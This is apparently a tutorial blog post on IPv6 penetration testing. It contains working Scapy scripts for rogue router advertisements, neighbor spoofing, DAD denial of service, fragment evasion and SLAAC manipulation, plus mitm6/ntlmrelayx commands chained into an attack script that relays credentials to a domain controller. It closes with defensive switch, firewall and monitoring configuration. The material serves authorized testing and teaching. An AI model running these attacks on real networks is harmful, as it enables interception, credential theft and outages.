IPv6 Penetration Testing: A Comprehensive Technical Guide

Author: Pentester
Published: October 7, 2025
Reading Time: 25 minutes

1. Introduction
2. Why IPv6 Matters in Pentesting
3. Fundamental Differences Between IPv4 and IPv6 Testing
4. IPv6 Reconnaissance Techniques
5. Neighbor Discovery Protocol (NDP) Attacks
6. Essential IPv6 Pentesting Tools
7. Practical Attack Examples
8. Building Your Own IPv6 Scanner
9. Defense and Mitigation Strategies
10. Conclusion
11. References and Resources

1. Introduction

The transition to Internet Protocol version 6 (IPv6) is no longer a distant future—it's happening now. As of 2025, IPv6 adoption has reached critical mass, with major networks, cloud providers, and enterprises deploying dual-stack or IPv6-only infrastructure. However, this transition has created a significant security blind spot. Many organizations enable IPv6 by default on their systems without implementing proper security controls, creating an attack surface that is often unmonitored and unprotected.

This comprehensive guide explores the unique challenges and opportunities that IPv6 presents to penetration testers. Unlike IPv4, where exhaustive network scanning is feasible, IPv6's vast address space requires fundamentally different approaches to reconnaissance and exploitation. We'll cover everything from basic concepts to advanced attack techniques, complete with practical examples and working code.

⚠️ Legal Disclaimer: The techniques and tools described in this article are intended for authorized security testing, educational purposes, and defensive security only. Always obtain explicit written permission before testing any network or system you do not own. Unauthorized access to computer systems is illegal in most jurisdictions.

2. Why IPv6 Matters in Pentesting

The Silent Threat

IPv6 is often described as the "silent backdoor" in modern networks. Here's why it matters:

Default Enablement: Most modern operating systems (Windows, Linux, macOS) enable IPv6 by default, even when administrators believe they're running IPv4-only networks.
Preference Over IPv4: Windows systems prefer IPv6 over IPv4 when both are available, making IPv6 attacks particularly effective.
Lack of Monitoring: Security teams often focus exclusively on IPv4 traffic, leaving IPv6 communications unmonitored.
Immature Security Controls: Many firewalls, IDS/IPS systems, and security tools have limited or no IPv6 support.

💡 Real-World Impact: In penetration tests, attackers frequently gain initial access through IPv6 vulnerabilities, even in networks where administrators believe IPv6 is "disabled." The mitm6 attack, which exploits Windows' DHCPv6 implementation, has become a standard technique for gaining Domain Controller access.

The Address Space Challenge

The most fundamental difference between IPv4 and IPv6 pentesting is the address space:

Aspect	IPv4	IPv6
Address Length	32 bits	128 bits
Typical Subnet Size	/24 (254 hosts)	/64 (18 quintillion hosts)
Scan Time (1M probes/sec)	~0.25 seconds	~584,942 years
Scanning Feasibility	Trivial	Impossible without intelligence

This mathematical reality forces penetration testers to abandon brute-force scanning in favor of intelligent reconnaissance techniques.

3. Fundamental Differences Between IPv4 and IPv6 Testing

Protocol Architecture

IPv6 introduces several architectural changes that impact security testing:

No ARP: IPv6 replaces ARP with the Neighbor Discovery Protocol (NDP), which uses ICMPv6 messages.
Mandatory ICMPv6: Unlike IPv4 where ICMP can be blocked, ICMPv6 is essential for IPv6 operation.
Stateless Address Autoconfiguration (SLAAC): Hosts can self-configure addresses without DHCP.
Extension Headers: IPv6 uses extension headers for options, creating new evasion opportunities.
No Broadcast: IPv6 uses multicast instead of broadcast, changing discovery techniques.

Address Types and Scopes

Understanding IPv6 address types is crucial for effective pentesting:

# Link-Local Addresses (fe80::/10)
fe80::a00:27ff:fe8d:c04d  # Always present, not routable

# Unique Local Addresses (fc00::/7)
fd00:1234:5678::1         # Similar to RFC 1918 private addresses

# Global Unicast Addresses (2000::/3)
2001:db8:1234:5678::1     # Publicly routable

# Multicast Addresses (ff00::/8)
ff02::1                   # All nodes on local link
ff02::2                   # All routers on local link
ff02::1:ff00:0/104        # Solicited-node multicast

4. IPv6 Reconnaissance Techniques

Effective IPv6 reconnaissance requires creativity and multiple approaches. Let's explore both trivial and advanced techniques.

4.1. Trivial Reconnaissance

These methods exploit common misconfigurations and predictable addressing schemes:

Low and Sequential Interface Identifiers

Many administrators assign IPv6 addresses with simple, predictable patterns:

# Example: Sequential IIDs
2001:db8:1234:5678::1
2001:db8:1234:5678::2
2001:db8:1234:5678::3

# Example: IPv4-embedded IIDs
# IPv4: 192.168.10.50
# IPv6: 2001:db8:1234:5678::192:168:10:50
# Or:   2001:db8:1234:5678::c0a8:a32  (hex representation)

# Scanning script for sequential IIDs
#!/bin/bash
PREFIX="2001:db8:1234:5678"
for i in {1..100}; do
    ping6 -c 1 -W 1 ${PREFIX}::${i} &>/dev/null && echo "[+] Found: ${PREFIX}::${i}"
done

Link-Local Discovery

When you have access to the local network segment, discovery becomes much easier:

# Ping all-nodes multicast address
ping6 -c 2 ff02::1%eth0

# Use nmap for link-local scanning
nmap -6 --script=ipv6-node-info fe80::/64%eth0

# Monitor Router Advertisements
tcpdump -i eth0 -vv 'icmp6 and ip6[40] == 134'

# Send Router Solicitation to trigger RAs
rdisc6 eth0

4.2. Creative Reconnaissance

The "Too Big Trick" (TBT)

This advanced technique induces fragmentation to discover network topology:

#!/usr/bin/env python3
from scapy.all import *

def too_big_trick(target):
    """
    Implements the Too Big Trick for IPv6 reconnaissance
    """
    # Step 1: Send oversized ICMPv6 Echo Request
    pkt1 = IPv6(dst=target)/ICMPv6EchoRequest()/("X"*1300)
    reply1 = sr1(pkt1, timeout=2, verbose=0)
    
    if reply1:
        print(f"[+] Initial response from {target}")
        
        # Step 2: Send Packet Too Big message
        pkt2 = IPv6(dst=target)/ICMPv6PacketTooBig(mtu=1280)/reply1[IPv6]
        send(pkt2, verbose=0)
        
        # Step 3: Send new Echo Request and observe fragmentation
        pkt3 = IPv6(dst=target)/ICMPv6EchoRequest()/("Y"*1300)
        reply3 = sr1(pkt3, timeout=2, verbose=0)
        
        if reply3 and reply3.haslayer(IPv6ExtHdrFragment):
            print(f"[+] Fragmentation detected!")
            print(f"    Fragment ID: {reply3[IPv6ExtHdrFragment].id}")
            return True
    
    return False

# Usage
target = "2001:db8::1"
too_big_trick(target)

Reverse DNS Enumeration

DNS can reveal active IPv6 hosts:

#!/bin/bash
# Enumerate IPv6 hosts via reverse DNS
PREFIX="2001:db8:1234:5678"

# Convert prefix to reverse DNS format
# 2001:db8:1234:5678 becomes 8.7.6.5.4.3.2.1.8.b.d.0.1.0.0.2.ip6.arpa

for i in {0..f}; do
    for j in {0..f}; do
        ADDR="${i}.${j}.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.7.6.5.4.3.2.1.8.b.d.0.1.0.0.2.ip6.arpa"
        RESULT=$(dig -x $ADDR +short)
        if [ ! -z "$RESULT" ]; then
            echo "[+] Found: $ADDR -> $RESULT"
        fi
    done
done

DNSSEC Zone Walking

For DNSSEC-signed zones, you can enumerate all records:

# Using ldns-walk to enumerate DNSSEC zone
ldns-walk @ns1.example.com example.com

# Using dig to manually walk
dig @ns1.example.com example.com AXFR
dig @ns1.example.com example.com NSEC

4.3. Pattern-Based Scanning

Research has shown that IPv6 addresses often follow predictable patterns:

#!/usr/bin/env python3
"""
Pattern-based IPv6 scanner
Based on research by Ullrich & Kieseberg (2015)
"""

import ipaddress
from scapy.all import *

# Common patterns in IPv6 addresses
PATTERNS = [
    "::1",                          # Loopback
    "::{}",                         # Sequential (1-100)
    "::1:{}",                       # Common server pattern
    "::ffff:{}",                    # IPv4-mapped
    "::dead:beef",                  # Common test address
    "::cafe:{}",                    # Common pattern
]

def scan_patterns(prefix):
    """Scan common IPv6 address patterns"""
    network = ipaddress.IPv6Network(prefix, strict=False)
    base = str(network.network_address).rsplit(':', 4)[0]
    
    targets = []
    
    # Generate targets based on patterns
    for pattern in PATTERNS:
        if '{}' in pattern:
            for i in range(1, 101):
                addr = base + pattern.format(hex(i)[2:])
                targets.append(addr)
        else:
            addr = base + pattern
            targets.append(addr)
    
    print(f"[*] Scanning {len(targets)} pattern-based addresses...")
    
    # Scan targets
    for target in targets:
        try:
            pkt = IPv6(dst=target)/ICMPv6EchoRequest()
            reply = sr1(pkt, timeout=0.5, verbose=0)
            if reply:
                print(f"[+] Active host: {target}")
        except:
            pass

# Usage
scan_patterns("2001:db8:1234:5678::/64")

5. Neighbor Discovery Protocol (NDP) Attacks

NDP is the Achilles' heel of IPv6 security. Unlike ARP in IPv4, NDP uses ICMPv6 messages, but it shares similar security weaknesses—primarily the lack of authentication.

5.1. Attack Taxonomy

Attack	Technique	Impact	Difficulty
Neighbor Spoofing	Spoofed Neighbor Advertisement	Man-in-the-Middle	Easy
Router Advertisement Spoofing	Rogue RA messages	Network takeover, DNS hijacking	Easy
DAD DoS	Spoofed DAD responses	Prevent address assignment	Easy
Redirect Attack	Spoofed ICMPv6 Redirect	Traffic redirection	Medium
SLAAC Attack	Malicious prefix injection	Address manipulation	Medium

5.2. Rogue Router Advertisement Attack

This is one of the most devastating IPv6 attacks. By sending fake Router Advertisements, an attacker can become the default gateway for all IPv6 traffic:

#!/usr/bin/env python3
"""
Rogue Router Advertisement Attack
WARNING: For authorized testing only!
"""

from scapy.all import *
import time

def rogue_ra_attack(interface, malicious_prefix="2001:db8:dead:beef::/64"):
    """
    Send rogue Router Advertisements to hijack IPv6 traffic
    """
    # Get attacker's MAC address
    attacker_mac = get_if_hwaddr(interface)
    
    # Craft malicious Router Advertisement
    ra = Ether(dst="33:33:00:00:00:01") / \
         IPv6(dst="ff02::1") / \
         ICMPv6ND_RA(routerlifetime=1800) / \
         ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) / \
         ICMPv6NDOptPrefixInfo(
             prefix=malicious_prefix.split('/')[0],
             prefixlen=int(malicious_prefix.split('/')[1]),
             validlifetime=1800,
             preferredlifetime=1800,
             L=1,  # On-link flag
             A=1   # Autonomous address-configuration flag
         ) / \
         ICMPv6NDOptRDNSS(
             lifetime=1800,
             dns=["::1"]  # Attacker's DNS server
         )
    
    print(f"[*] Sending rogue RA on {interface}")
    print(f"[*] Malicious prefix: {malicious_prefix}")
    print(f"[*] Press Ctrl+C to stop")
    
    try:
        while True:
            sendp(ra, iface=interface, verbose=0)
            time.sleep(10)  # Send every 10 seconds
    except KeyboardInterrupt:
        print("\n[*] Attack stopped")

# Usage
if __name__ == "__main__":
    rogue_ra_attack("eth0")

5.3. Neighbor Advertisement Spoofing

Similar to ARP spoofing in IPv4, this attack redirects traffic to the attacker:

#!/usr/bin/env python3
"""
IPv6 Neighbor Advertisement Spoofing
"""

from scapy.all import *

def na_spoof(interface, target_ip, victim_ip, attacker_mac):
    """
    Spoof Neighbor Advertisement to redirect traffic
    
    Args:
        target_ip: IPv6 address to impersonate
        victim_ip: IPv6 address of the victim
        attacker_mac: Attacker's MAC address
    """
    # Craft spoofed Neighbor Advertisement
    na = Ether(dst="33:33:00:00:00:01") / \
         IPv6(src=target_ip, dst=victim_ip) / \
         ICMPv6ND_NA(tgt=target_ip, R=0, S=1, O=1) / \
         ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
    
    print(f"[*] Spoofing {target_ip} to {victim_ip}")
    print(f"[*] Using MAC: {attacker_mac}")
    
    # Send continuously
    while True:
        sendp(na, iface=interface, verbose=0)
        time.sleep(2)

# Example usage
na_spoof(
    interface="eth0",
    target_ip="2001:db8::1",  # Router or target host
    victim_ip="2001:db8::100",  # Victim
    attacker_mac="00:11:22:33:44:55"
)

5.4. Duplicate Address Detection (DAD) DoS

Prevent hosts from acquiring IPv6 addresses:

#!/usr/bin/env python3
"""
DAD DoS Attack - Prevent IPv6 address assignment
"""

from scapy.all import *

def dad_dos(interface):
    """
    Respond to all DAD Neighbor Solicitations
    to prevent address assignment
    """
    def process_packet(pkt):
        if pkt.haslayer(ICMPv6ND_NS):
            # Check if it's a DAD message (src = ::)
            if pkt[IPv6].src == "::":
                target = pkt[ICMPv6ND_NS].tgt
                
                # Send spoofed Neighbor Advertisement
                na = IPv6(src=target, dst="ff02::1") / \
                     ICMPv6ND_NA(tgt=target, R=0, S=0, O=1) / \
                     ICMPv6NDOptDstLLAddr(lladdr="00:11:22:33:44:55")
                
                send(na, iface=interface, verbose=0)
                print(f"[+] Blocked DAD for {target}")
    
    print("[*] Starting DAD DoS attack...")
    print("[*] Press Ctrl+C to stop")
    
    sniff(iface=interface, 
          filter="icmp6 and ip6[40] == 135",  # NS messages
          prn=process_packet,
          store=0)

# Usage
dad_dos("eth0")

6. Essential IPv6 Pentesting Tools

6.1. THC-IPv6 Attack Toolkit

The Swiss Army knife of IPv6 attacks:

# Installation
git clone https://github.com/vanhauser-thc/thc-ipv6.git
cd thc-ipv6
make
sudo make install

# alive6 - Discover IPv6 hosts
sudo alive6 eth0

# fake_router6 - Rogue RA attack
sudo fake_router6 eth0 2001:db8:dead:beef::/64

# denial6 - DoS attacks
sudo denial6 eth0 2001:db8::1

# flood_router6 - Flood with RAs
sudo flood_router6 eth0

# parasite6 - ICMP Neighbor Solicitation/Advertisement spoofer
sudo parasite6 eth0

# redir6 - Redirect attack
sudo redir6 eth0 2001:db8::1 2001:db8::2 2001:db8::attacker

6.2. mitm6 - DNS Takeover Tool

Exploit Windows' IPv6 preference for DNS takeover:

# Installation
pip3 install mitm6

# Basic usage
sudo mitm6 -d example.local

# With ntlmrelayx for credential relay
# Terminal 1: Start mitm6
sudo mitm6 -d example.local -i eth0

# Terminal 2: Start ntlmrelayx
sudo ntlmrelayx.py -6 -t ldaps://dc01.example.local -wh attacker-wpad.example.local -l loot

# Advanced: Target specific subnet
sudo mitm6 -d example.local --ignore-nofqdn -i eth0

💡 How mitm6 Works:

Responds to DHCPv6 requests (which Windows sends by default)
Configures attacker as DNS server via IPv6
Windows prefers IPv6 DNS over IPv4
Intercepts WPAD requests and relays NTLM authentication
Gains access to Domain Controller

6.3. Chiron Framework

All-in-one IPv6 security assessment:

# Installation
git clone https://github.com/aatlasis/Chiron.git
cd Chiron
pip3 install -r requirements.txt

# IPv6 host discovery
sudo python3 chiron.py --interface eth0 --scan

# Local link attacks
sudo python3 chiron.py --interface eth0 --local-link-attacks

# SLAAC attack
sudo python3 chiron.py --interface eth0 --slaac-attack

# MLD attack
sudo python3 chiron.py --interface eth0 --mld-attack

6.4. Nmap for IPv6

The classic scanner with IPv6 support:

# Basic IPv6 scan
nmap -6 2001:db8::1

# Scan IPv6 subnet (link-local)
nmap -6 fe80::/64%eth0

# Comprehensive scan
nmap -6 -sS -sV -O -A 2001:db8::1

# Scan from file
nmap -6 -iL ipv6_targets.txt

# IPv6-specific scripts
nmap -6 --script=ipv6-* 2001:db8::1

# Multicast ping scan
nmap -6 --script=ipv6-multicast-mld-list ff02::1%eth0

6.5. Scapy for Custom Attacks

Build custom IPv6 packets:

#!/usr/bin/env python3
from scapy.all import *

# Simple ICMPv6 ping
pkt = IPv6(dst="2001:db8::1")/ICMPv6EchoRequest()
reply = sr1(pkt, timeout=2)

# Craft malicious extension headers
pkt = IPv6(dst="2001:db8::1")/IPv6ExtHdrFragment()/ICMPv6EchoRequest()
send(pkt)

# Fragmentation attack
pkt = IPv6(dst="2001:db8::1")/IPv6ExtHdrFragment(offset=0, m=1, id=12345)/Raw(load="A"*1000)
send(pkt)

# Custom NDP packet
pkt = Ether()/IPv6(dst="ff02::1")/ICMPv6ND_NS(tgt="2001:db8::1")
sendp(pkt, iface="eth0")

7. Practical Attack Examples

7.1. Complete Attack Chain: From Discovery to Domain Admin

Let's walk through a realistic attack scenario:

#!/bin/bash
# Complete IPv6 Attack Chain

echo "[*] Phase 1: Reconnaissance"
# Discover IPv6 hosts
sudo alive6 eth0 > hosts.txt

# Identify routers
sudo ping6 -c 2 ff02::2%eth0

echo "[*] Phase 2: Man-in-the-Middle Setup"
# Start rogue RA attack
sudo fake_router6 eth0 2001:db8:dead:beef::/64 &
FAKE_RA_PID=$!

# Start mitm6 for DNS takeover
sudo mitm6 -d corp.local -i eth0 &
MITM6_PID=$!

echo "[*] Phase 3: Credential Capture"
# Start ntlmrelayx
sudo ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh attacker.corp.local -l loot &
RELAY_PID=$!

echo "[*] Attack running. Press Enter to stop..."
read

# Cleanup
kill $FAKE_RA_PID $MITM6_PID $RELAY_PID
echo "[*] Attack stopped. Check 'loot' directory for captured data."

7.2. IPv6 Fragmentation Attack

Exploit fragmentation handling vulnerabilities:

#!/usr/bin/env python3
"""
IPv6 Fragmentation Attack
Exploits improper fragment reassembly
"""

from scapy.all import *

def fragment_attack(target, payload_size=1500):
    """
    Send overlapping fragments to evade IDS/IPS
    """
    # Fragment 1: Legitimate-looking
    frag1 = IPv6(dst=target)/IPv6ExtHdrFragment(
        offset=0, 
        m=1,  # More fragments
        id=54321
    )/ICMPv6EchoRequest()/("A"*800)
    
    # Fragment 2: Malicious payload (overlaps with frag1)
    frag2 = IPv6(dst=target)/IPv6ExtHdrFragment(
        offset=50,  # Overlapping offset
        m=0,  # Last fragment
        id=54321
    )/Raw(load="\x90"*100 + shellcode)  # NOP sled + shellcode
    
    print(f"[*] Sending fragmented attack to {target}")
    send(frag1, verbose=0)
    time.sleep(0.1)
    send(frag2, verbose=0)
    
    print("[+] Fragments sent")

# Usage
fragment_attack("2001:db8::victim")

7.3. SLAAC Attack for Address Manipulation

#!/usr/bin/env python3
"""
SLAAC Attack - Manipulate address assignment
"""

from scapy.all import *

def slaac_attack(interface, malicious_prefix, dns_server):
    """
    Send crafted RA to manipulate SLAAC
    """
    # Craft RA with malicious parameters
    ra = Ether(dst="33:33:00:00:00:01")/\
         IPv6(dst="ff02::1")/\
         ICMPv6ND_RA(
             routerlifetime=9000,
             reachabletime=30000,
             retranstimer=1000
         )/\
         ICMPv6NDOptPrefixInfo(
             prefix=malicious_prefix,
             prefixlen=64,
             validlifetime=86400,
             preferredlifetime=14400,
             L=1,  # On-link
             A=1,  # Autonomous
             R=0
         )/\
         ICMPv6NDOptRDNSS(
             lifetime=3600,
             dns=[dns_server]
         )/\
         ICMPv6NDOptMTU(mtu=1280)  # Force fragmentation
    
    print(f"[*] Sending malicious SLAAC configuration")
    print(f"    Prefix: {malicious_prefix}/64")
    print(f"    DNS: {dns_server}")
    
    # Send periodically
    for i in range(10):
        sendp(ra, iface=interface, verbose=0)
        print(f"[+] Sent RA {i+1}/10")
        time.sleep(5)

# Usage
slaac_attack(
    interface="eth0",
    malicious_prefix="2001:db8:bad::",
    dns_server="2001:db8:bad::53"
)

8. Building Your Own IPv6 Scanner

I've developed a comprehensive Python-based IPv6 presence scanner that combines multiple detection techniques. This tool is perfect for initial reconnaissance and network auditing.

📥 Download the Complete Scanner:
Download ipv6_presence_scanner.py
Full source code with documentation included

Scanner Features

✅ Local IPv6 configuration detection
✅ Multicast ping discovery (ff02::1 and ff02::2)
✅ Router Advertisement monitoring
✅ Neighbor Solicitation scanning
✅ Passive NDP traffic monitoring
✅ IPv4-to-IPv6 correlation testing
✅ JSON output for integration with other tools
✅ Comprehensive reporting

Quick Start Guide

# Install dependencies
pip3 install scapy netifaces

# Basic scan
sudo python3 ipv6_presence_scanner.py

# Scan specific interface
sudo python3 ipv6_presence_scanner.py -i eth0

# Scan with target prefix
sudo python3 ipv6_presence_scanner.py -p 2001:db8::/64

# Save results to JSON
sudo python3 ipv6_presence_scanner.py -o results.json

# Check specific IPv4 host for IPv6
sudo python3 ipv6_presence_scanner.py --check-ipv4 192.168.1.100

Example Output

======================================================================
IPv6 PRESENCE SCANNER
======================================================================

[*] Checking local IPv6 configuration on eth0...
[+] IPv6 is ENABLED on eth0
    - fe80::a00:27ff:fe8d:c04d
      Type: Link-Local
    - 2001:db8:1234::1
      Type: Global Unicast

[*] Pinging all-nodes multicast address (ff02::1)...
[+] Host responded: fe80::a00:27ff:fe8d:c04d
[+] Host responded: fe80::1
[+] Host responded: 2001:db8:1234::100
[+] Found 3 IPv6 hosts via multicast ping

[*] Pinging all-routers multicast address (ff02::2)...
[+] Router responded: fe80::1
[+] Found 1 IPv6 routers

[*] Listening for Router Advertisements for 5 seconds...
[+] Router Advertisement from: fe80::1
    Prefix: 2001:db8:1234::/64

======================================================================
IPv6 PRESENCE SCAN REPORT
======================================================================
Scan Time: 2025-10-07T18:30:45.123456
Interface: eth0
Total Hosts Discovered: 4
======================================================================

Discovered IPv6 Hosts:
----------------------------------------------------------------------

IPv6 Address: fe80::a00:27ff:fe8d:c04d
  Discovery Method: Multicast Ping Response
  Timestamp: 2025-10-07T18:30:46.234567

IPv6 Address: fe80::1
  Discovery Method: Router Advertisement
  Timestamp: 2025-10-07T18:30:50.345678
  Role: router

[+] Results saved to: results.json

Integration with Other Tools

The scanner outputs JSON, making it easy to integrate with other pentesting tools:

#!/bin/bash
# Automated IPv6 pentest workflow

# Step 1: Discover hosts
sudo python3 ipv6_presence_scanner.py -o hosts.json

# Step 2: Extract addresses
cat hosts.json | jq -r '.hosts[].ipv6_address' > targets.txt

# Step 3: Port scan with nmap
nmap -6 -iL targets.txt -p 22,80,443,3389 -oA nmap_results

# Step 4: Vulnerability scan
for host in $(cat targets.txt); do
    echo "[*] Scanning $host"
    nmap -6 --script vuln $host
done

# Step 5: Test for NDP vulnerabilities
sudo python3 ndp_attack_test.py -t targets.txt

9. Defense and Mitigation Strategies

Understanding attacks is only half the battle. Here's how to defend against IPv6 threats:

9.1. Network-Level Defenses

Defense Mechanism	Protection Against	Implementation
RA Guard	Rogue Router Advertisements	Enable on all access switches
DHCPv6 Guard	Rogue DHCPv6 servers	Configure on switch ports
IPv6 Source Guard	Address spoofing	Bind IPv6 addresses to MAC addresses
ND Inspection	NDP spoofing attacks	Validate NDP messages
IPv6 ACLs	Unauthorized traffic	Implement on routers and firewalls

9.2. Cisco Switch Configuration Example

! Enable IPv6 First Hop Security
ipv6 access-list BLOCK_SUSPICIOUS_IPV6
 deny ipv6 any any fragments
 permit ipv6 any any

! Configure RA Guard
ipv6 nd raguard policy HOST_POLICY
 device-role host
 
interface range GigabitEthernet1/0/1 - 48
 ipv6 nd raguard attach-policy HOST_POLICY
 ipv6 snooping
 
! Configure DHCPv6 Guard
ipv6 dhcp guard policy DHCP_GUARD_POLICY
 device-role client
 
interface range GigabitEthernet1/0/1 - 48
 ipv6 dhcp guard attach-policy DHCP_GUARD_POLICY

! Configure IPv6 Source Guard
ipv6 source-guard policy SOURCE_GUARD_POLICY
 validate address
 
interface range GigabitEthernet1/0/1 - 48
 ipv6 source-guard attach-policy SOURCE_GUARD_POLICY

! Configure ND Inspection
ipv6 nd inspection policy ND_INSPECTION_POLICY
 device-role host
 drop-unsecure
 
interface range GigabitEthernet1/0/1 - 48
 ipv6 nd inspection attach-policy ND_INSPECTION_POLICY

9.3. Host-Level Defenses

Windows

# Disable IPv6 if not needed (requires reboot)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" /v DisabledComponents /t REG_DWORD /d 0xFF /f

# Disable IPv6 on specific adapter
Disable-NetAdapterBinding -Name "Ethernet" -ComponentID ms_tcpip6

# Block DHCPv6 (mitm6 mitigation)
netsh interface ipv6 set interface "Ethernet" routerdiscovery=disabled

# Configure Windows Firewall for IPv6
New-NetFirewallRule -DisplayName "Block Incoming IPv6" -Direction Inbound -Protocol IPv6 -Action Block

Linux

# Disable IPv6 system-wide
echo "net.ipv6.conf.all.disable_ipv6 = 1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p

# Disable Router Advertisements
echo "net.ipv6.conf.all.accept_ra = 0" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.accept_ra = 0" >> /etc/sysctl.conf

# Disable IPv6 redirects
echo "net.ipv6.conf.all.accept_redirects = 0" >> /etc/sysctl.conf

# Configure ip6tables
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j DROP
ip6tables -A INPUT -p icmpv6 --icmpv6-type redirect -j DROP
ip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
ip6tables -A INPUT -i lo -j ACCEPT
ip6tables -P INPUT DROP

9.4. Monitoring and Detection

Implement monitoring to detect IPv6 attacks:

#!/bin/bash
# IPv6 Attack Detection Script

LOG_FILE="/var/log/ipv6_monitor.log"

# Monitor for suspicious RA traffic
tcpdump -i eth0 -nn 'icmp6 and ip6[40] == 134' | while read line; do
    echo "[$(date)] Suspicious RA: $line" >> $LOG_FILE
    # Alert if more than 10 RAs per minute
done &

# Monitor for NDP spoofing
tcpdump -i eth0 -nn 'icmp6 and (ip6[40] == 135 or ip6[40] == 136)' | while read line; do
    # Check for duplicate MAC addresses
    echo "[$(date)] NDP Activity: $line" >> $LOG_FILE
done &

# Monitor for DHCPv6 traffic
tcpdump -i eth0 -nn 'udp port 546 or udp port 547' | while read line; do
    echo "[$(date)] DHCPv6 Traffic: $line" >> $LOG_FILE
done &

echo "[*] IPv6 monitoring started. Logs: $LOG_FILE"

9.5. Security Best Practices Checklist

✅ IPv6 Security Checklist:

☐ Audit all systems for IPv6 enablement
☐ Disable IPv6 if not required
☐ Implement IPv6 firewall rules
☐ Enable RA Guard on all access switches
☐ Deploy DHCPv6 Guard
☐ Configure IPv6 Source Guard
☐ Enable ND Inspection
☐ Monitor IPv6 traffic with IDS/IPS
☐ Implement IPv6 ACLs on routers
☐ Use SEND (SEcure Neighbor Discovery) if possible
☐ Regularly audit IPv6 configurations
☐ Train security team on IPv6 threats
☐ Include IPv6 in penetration tests
☐ Document IPv6 security policies

10. Conclusion

IPv6 penetration testing represents a significant paradigm shift from traditional IPv4 security assessments. The vast address space, new protocols like NDP, and widespread default enablement create a perfect storm of security challenges. However, these same characteristics also present unique opportunities for security professionals to identify and remediate vulnerabilities before they can be exploited by malicious actors.

Key Takeaways

IPv6 is Already Here: Most networks have IPv6 enabled by default, creating an often-overlooked attack surface.
Traditional Scanning Doesn't Work: The massive IPv6 address space requires intelligent, pattern-based reconnaissance.
NDP is Vulnerable: The lack of authentication in NDP makes it a prime target for man-in-the-middle and DoS attacks.
Tools are Mature: Excellent open-source tools like THC-IPv6, mitm6, and Chiron make IPv6 testing accessible.
Defense is Possible: Technologies like RA Guard, DHCPv6 Guard, and proper firewall configuration can significantly improve security.

Next Steps

To continue your IPv6 security journey:

Set up a lab environment to practice these techniques safely
Audit your own networks for IPv6 presence and vulnerabilities
Contribute to open-source IPv6 security tools
Stay updated on new IPv6 attack techniques and defenses
Include IPv6 testing in all future penetration tests

⚠️ Remember: With great power comes great responsibility. Use these techniques only for authorized security testing, education, and defensive purposes. Always obtain explicit written permission before testing any network or system.

11. References and Resources

Academic Papers and RFCs

RFC 4861 - Neighbor Discovery for IP version 6 (IPv6)
https://datatracker.ietf.org/doc/html/rfc4861
RFC 7707 - Network Reconnaissance in IPv6 Networks
https://datatracker.ietf.org/doc/html/rfc7707
RFC 3756 - IPv6 Neighbor Discovery (ND) Trust Models and Threats
https://datatracker.ietf.org/doc/html/rfc3756
RFC 6980 - Security Implications of IPv6 Fragmentation with IPv6 Neighbor Discovery
https://datatracker.ietf.org/doc/html/rfc6980
Ullrich, J., & Kieseberg, P. (2015). "On Reconnaissance with IPv6: A Pattern-Based Scanning Approach"
IEEE International Conference on Availability, Reliability and Security
Borgolte, K., et al. (2018). "Enumerating Active IPv6 Hosts for Large-Scale Security Scans"
IEEE Symposium on Security and Privacy

Technical Articles and Guides

Linux Magazine - IPv6 Penetration Testing
http://www.linux-magazine.com/Online/Features/IPv6-Penetration-Testing
HPC.mil - IPv6 Vulnerability Testing and Penetration Testing
https://www.hpc.mil/solution-areas/networking/ipv6-knowledge-base/ipv6-knowledge-base-security/ipv6-vulnerability-scanning-and-penetration-testing
HPC.mil - Neighbor Discovery Protocol Attacks
https://www.hpc.mil/solution-areas/networking/ipv6-knowledge-base/ipv6-knowledge-base-security/neighbor-discovery-protocol-attacks
Infoblox - Large-Scale IPv6 Internet Reconnaissance (Part 1 of 2)
https://blogs.infoblox.com/ipv6-coe/large-scale-ipv6-internet-reconnaissance-part-1-of-2/
Fox-IT - mitm6: Compromising IPv4 networks via IPv6
https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/
NIST SP 800-119 - Guidelines for the Secure Deployment of IPv6
https://csrc.nist.gov/publications/detail/sp/800-119/final

Tools and Frameworks

THC-IPv6 Attack Toolkit
https://github.com/vanhauser-thc/thc-ipv6
mitm6 - IPv6 DNS Takeover Tool
https://github.com/dirkjanm/mitm6
Chiron - IPv6 Security Assessment Framework
https://github.com/aatlasis/Chiron
Scapy - Packet Manipulation Tool
https://scapy.net/
Nmap - Network Scanner
https://nmap.org/
Metasploit Framework
https://www.metasploit.com/
SI6 Networks IPv6 Toolkit
https://www.si6networks.com/tools/ipv6toolkit/

Training and Certifications

SANS SEC642: Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation Techniques
Offensive Security Certified Professional (OSCP)
GIAC Penetration Tester (GPEN)
IPv6 Security Training by RIPE NCC
https://www.ripe.net/support/training/courses/ipv6-security

Community Resources

r/ipv6 - Reddit Community
https://www.reddit.com/r/ipv6/
IPv6 Security Mailing List
https://www.ietf.org/mailman/listinfo/ipv6
OWASP IPv6 Security Project
https://owasp.org/www-community/vulnerabilities/IPv6_Security

Download Resources

📥 Scripts and Tools from This Article:

This article was created for educational and authorized security testing purposes only. The author and publisher assume no liability for misuse of the information provided. Always conduct security testing ethically and legally.

About the Author: This comprehensive guide was created by an experienced pentester, combining research from leading security organizations, academic papers, and practical pentesting experience. For questions or corrections, please reach out through the comments section below.

Last Updated: October 7, 2025

Tags: #IPv6 #PenetrationTesting #CyberSecurity #EthicalHacking #NetworkSecurity #NDP #InfoSec #SecurityResearch